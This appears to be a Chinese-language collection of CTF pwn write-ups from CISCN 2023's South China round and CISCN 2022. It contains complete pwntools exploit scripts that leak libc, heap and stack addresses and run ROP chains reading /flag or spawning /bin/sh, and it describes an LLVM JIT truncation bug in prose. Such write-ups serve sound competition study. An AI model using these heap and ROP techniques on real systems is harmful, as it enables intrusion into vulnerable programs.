CISCN 2023 华南分区赛 easynote writeup

0x01 漏洞介绍

漏洞位于scanf,可以任意地址写

利用这里的read布置栈数据,写入地址

最后利用atoi栈劫持orw

0x02 Exp

from pwn import *
context(arch='amd64',os='linux',log_level='debug')

rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
irt = lambda :p.interactive()
dbg = lambda s=None:gdb.attach(p,s)
plo = lambda o:p64(libc_base+o)

def write(addr, value):
    sda(':\n',b'a'*0x18 + p64(addr))
    sla(':\n','1')
    sla('k\n',str(value))
    sda('?\n','a')
def show():
    sla(':\n','2')
    ru(' :')
def edit(c):
    sla(':\n','3')
    sda(':\n',c)

p = process('./easynote',aslr=False)

ret = 0x000000000040101a
#dbg('b *0x40159A\nc')
#write(0x404070,ret) # exit -> ret
write(0x404050,ret) # malloc -> leak
show()
rc(8)
libc_base = u64(rc(8))-0x81670
success('libc_base --> %s',hex(libc_base))

pop_rdi_ret = 0x000000000002a3e5
pop_rsi_ret = 0x000000000002be51
pop_rdx_r12_ret = 0x000000000011f497
pop_rax_ret = 0x0000000000045eb0
syscall_ret = 0x0000000000091396

mmap_addr = libc_base-0x404ff0
write(0x404050,libc_base+0xa5120) # malloc
edit(b'/flag\0\0\0' \
   + plo(pop_rdi_ret) + p64(mmap_addr) \
   + plo(pop_rsi_ret) + p64(0) \
   + plo(pop_rdx_r12_ret) + p64(0)*2 \
   + plo(pop_rax_ret) + p64(2) + plo(syscall_ret)
   + plo(pop_rdi_ret) + p64(3) \
   + plo(pop_rsi_ret) + p64(mmap_addr+0x100) \
   + plo(pop_rdx_r12_ret) + p64(0x30) + p64(0) \
   + plo(pop_rax_ret) + p64(0) + plo(syscall_ret) \
   + plo(pop_rdi_ret) + p64(1) \
   + plo(pop_rax_ret) + p64(1) + plo(syscall_ret))

pop_2_ret = 0x000000000002a3e3
pop_rsp_ret = 0x0000000000035732

write(0x404060,libc_base+pop_2_ret) # atoi
#dbg('b *0x4014FB\nc')
sla(':\n',plo(pop_rsp_ret) + p64(mmap_addr+8))

irt()

CISCN 2023 华南分区赛 oldheap writeup

也是挺简单的一题,比赛的时候刚好没看…

from pwn import *
context(arch='amd64',os='linux',log_level='debug')

rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
irt = lambda :p.interactive()
dbg = lambda s=None:gdb.attach(p,s)
plo = lambda o:p64(libc_base+o)

def new(i,s,c):
    sla('d: ','C')
    sla('x: ',str(i))
    sla('g: ',str(s))
    sda('g: ',c)
def free(i):
    sla('d: ','F')
    sla('x: ',str(i))
def show(i):
    sla('d: ','R')
    sla('x: ',str(i))
    ru('g: ')
def edit(i,c):
    sla('d: ','W')
    sla('x: ',str(i))
    sda('g: ',c)

p = process('./oldheap',aslr=False)

new(0,0x18,'fast')
new(1,0x100000,'libc')
for i in range(3):
    new(i+2,0x18,'a')
for i in range(3):
    free(i+2)
free(0)

show(0)
rc(8*5)
libc_base = u64(rc(8))+0x100ff0
success('libc_base --> %s',hex(libc_base))

edit(0,p64(0)*4 + p64(0x8) + p64(libc_base+0x221200))
show(1)
stack_addr = u64(rc(8))
success('stack_addr --> %s',hex(stack_addr))

pop_rdi_ret = 0x000000000002a3e5
pop_rsi_ret = 0x000000000002be51
pop_rdx_r12_ret = 0x000000000011f497
pop_rax_ret = 0x0000000000045eb0
syscall_ret = 0x0000000000091396

edit(0,p64(0)*4 + p64(0x1000) + p64(stack_addr-0x148))
#dbg('b *0x400B1D\nc')
edit(1,b'/flag\0\0\0' \
     + plo(pop_rdi_ret) + p64(stack_addr-0x148) \
     + plo(pop_rsi_ret) + p64(0) \
     + plo(pop_rdx_r12_ret) + p64(0)*2 \
     + plo(pop_rax_ret) + p64(2) + plo(syscall_ret)
     + plo(pop_rdi_ret) + p64(3) \
     + plo(pop_rsi_ret) + p64(stack_addr) \
     + plo(pop_rdx_r12_ret) + p64(0x30) + p64(0) \
     + plo(pop_rax_ret) + p64(0) + plo(syscall_ret) \
     + plo(pop_rdi_ret) + p64(1) \
     + plo(pop_rax_ret) + p64(1) + plo(syscall_ret))

irt()

CISCN 2023 华南分区赛 hnlogin writeup

送分题,比赛的时候本地通了远程怎么打都不通,心态炸裂

from pwn import *
context(arch='amd64',os='linux',log_level='debug')

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s) # not recommended(ASLR)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
irt = lambda :p.interactive()
dbg = lambda s=None:gdb.attach(p,s)
uu32 = lambda d:u32(d.ljust(4,b'\0'))
uu64 = lambda d:u64(d.ljust(8,b'\0'))

p = process('./login')
#p = remote('172.1.39.8',8888)

pop_rsi_rdi_ret = 0x0000000000141e21
pop_rsi_ret = 0x000000000002be51
pop_rdi_ret = 0x000000000040269a

sla('>','admin')
sda('>',b'2023@CISCN' + b'\0'*22 + p64(0x407188) + p64(pop_rdi_ret) + p64(0x4071C0) + p64(0x402510) + p64(0x402704))
ru('\n')
libc_base = uu64(ru('\n')[:-1])-0x21a780
success('libc_base --> %s',hex(libc_base))

sla('>','admin')
rop = p64(pop_rdi_ret)
rop += b'/bin/sh\0'
rop += p64(libc_base+pop_rsi_ret)
rop += p64(0x407178)
rop += p64(libc_base+pop_rsi_rdi_ret)
rop += p64(pop_rdi_ret)
rop += p64(0x407178)
rop += p64(libc_base+0x50d60)
#dbg('b *0x4030E6\nc')
sda('>',b'2023@CISCN' + b'\0'*22 + p64(0x407188) + rop)

irt()

CISCN 2023 华南分区赛 Virtual_World writeup

0x01 漏洞介绍

漏洞点1(Double Free,可以不使用)

漏洞点2(VM里的栈操作,主要漏洞点)

首先是pop,可以用来泄露地址

然后是push操作(这个可以不用,改用edit操作)

edit操作,只能调用一次(也可以不使用,改用push操作任意次写)

0x02 Exp

程序运行之初直接给了栈地址,直接泄露地址做栈劫持ROP即可

from pwn import *
context(arch='amd64',os='linux',log_level='debug')

rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
irt = lambda :p.interactive()
dbg = lambda s=None:gdb.attach(p,s)
itb = lambda d:u32(int(d).to_bytes(4, 'little', signed=True))
plo = lambda o:p64(libc_base+o)

def new(s,c):
    sla(' :','1')
    sla(' >',str(s))
    sda(' >',c)
def free(i):
    sla(' :','3')
    sla('x>',str(i))
def edit(i,o,c):
    sla(' :','2')
    sla('x>',str(i))
    sla('t>',str(o))
    sda(' >',c)
def run(i):
	sla(' :','4')
	sla('x>',str(i))
	sda('e:','a'*8)

p = process('./pwn',aslr=False)
#p = remote('172.1.39.7',9999)

ru(': ')
stack_addr = int(ru('\n')[:-1],16)-0x20
success('stack_addr --> %s',hex(stack_addr))

new(0xa0,'\2\0\0\0'*10) # 0-libc
new(0xa0,'\2\0\0\0'*40) # 1-key
for _ in range(7): # 2-8
	new(0xa0,'a')
for _ in range(7): # 9-15
	new(0x90,'a')
new(0xa0,'1-libc') # 16
new(0x90,'1') # 17
new(0x20,'2-heap') # 18
new(0x20,'2-key') # 19
new(0x90,'2') # 20
for i in range(7):
	free(i+2)
for i in range(7):
	free(i+9)

free(16) # stack
free(17) # fastbin
new(0x28,'leak') # 21
#dbg('boff 0x19f8\nc')
run(0)
for _ in range(8):
	ru('\n')
libc_base = (itb(ru('\n')[:-1])<<32)+itb(ru('\n')[:-1])-0x219e20
success('libc_base --> %s',hex(libc_base))
free_hook = libc_base+0x2204a8

new(0x80,'unsorted') # 22
free(19)
free(18)
free(20)
#dbg('boff 0x19f8\nc')
run(1)
for _ in range(10):
	ru('\n')
key = (itb(ru('\n')[:-1])<<32)+itb(ru('\n')[:-1])
for _ in range(10):
	ru('\n')
heap_base = ((itb(ru('\n')[:-1])<<32)+itb(ru('\n')[:-1])^key)-0x2f20
log.warn('key --> %s',hex(key))
success('heap --> %s',hex(heap_base))

pop_rsp_ret = 0x0000000000035732
pop_rdi_ret = 0x000000000002a3e5
pop_rsi_ret = 0x000000000002be51
pop_rdx_r12_ret = 0x000000000011f497
pop_rax_ret = 0x0000000000045eb0
syscall_ret = 0x0000000000091396

edit(18,0,p64(key^stack_addr))
new(0x20,'a')
#dbg('boff 0x1F6E\nc')
new(0xa0,b'/flag\0\0\0' \
       + plo(pop_rdi_ret) + p64(heap_base+0x2890) \
       + plo(pop_rsi_ret) + p64(0) \
       + plo(pop_rdx_r12_ret) + p64(0)*2 \
       + plo(pop_rax_ret) + p64(2) + plo(syscall_ret)
       + plo(pop_rsp_ret) + p64(heap_base+0x27e0))
new(0xa0,plo(pop_rdi_ret) + p64(3) \
       + plo(pop_rsi_ret) + p64(heap_base) \
       + plo(pop_rdx_r12_ret) + p64(0x30) + p64(0) \
       + plo(pop_rax_ret) + p64(0) + plo(syscall_ret) \
       + plo(pop_rdi_ret) + p64(1) \
       + plo(pop_rax_ret) + p64(1) + plo(syscall_ret))
new(0x20,p64(0) + plo(pop_rsp_ret) + p64(heap_base+0x2890+8))

irt()

0x03 Fix

patch点1

patch点2

修改为

这里实际上不用512那么多,40应该就够了

CISCN 2022 初赛 satool writeup

比赛就不说了,已经不想吐槽了

首先关于这道题,llvm的题我也是第一次接触(大概吧),比赛的时候完全没找到洞

只能说藏得真深啊。。。赛后看到有大师傅说了一下洞在哪,就试着复现了一波

这里简单说一下洞在哪吧,找到洞其实做起来不算难,就是可能调shellcode比较花时间。。

首先我们进到 MBAPass 的构造函数,我们可以看到mmap了一块0x1000的内存

然后进到 MBAPass::runOnFunction 这个函数,程序作用看一下题目的readme就能理解

题目的关键点在这部分,剩下的代码都是一些输出结果用的,可以不看

这里首先是把mmap的内存改成了可读可写,然后 MBAPass::handle 对输入的IR代码做了处理

之后把mmap的内存改为可读可执行,然后 MBAPass::callCode 调用

我们进到 MBAPass::handle 函数,看一下漏洞点

这里可以看到漏洞实际上是因为边界判断有问题导致的,生成JIT code的时候长度大于0xFF0会被截断

因此可以错位执行 shellcode(利用movabs放数值的8个Bytes,主要是x86用的是CISC的原因)

漏洞解释起来有点麻烦,如果不理解调试一下就知道了

程序的其余部分就不详细讲解了,IDB传到Github了,有兴趣可以自己下来研究

因为可利用字节数限制的原因,shellcode 需要手写(6个字节可以存放shellcode+2个字节的短jmp)

Github链接:https://github.com/lakwsh/satool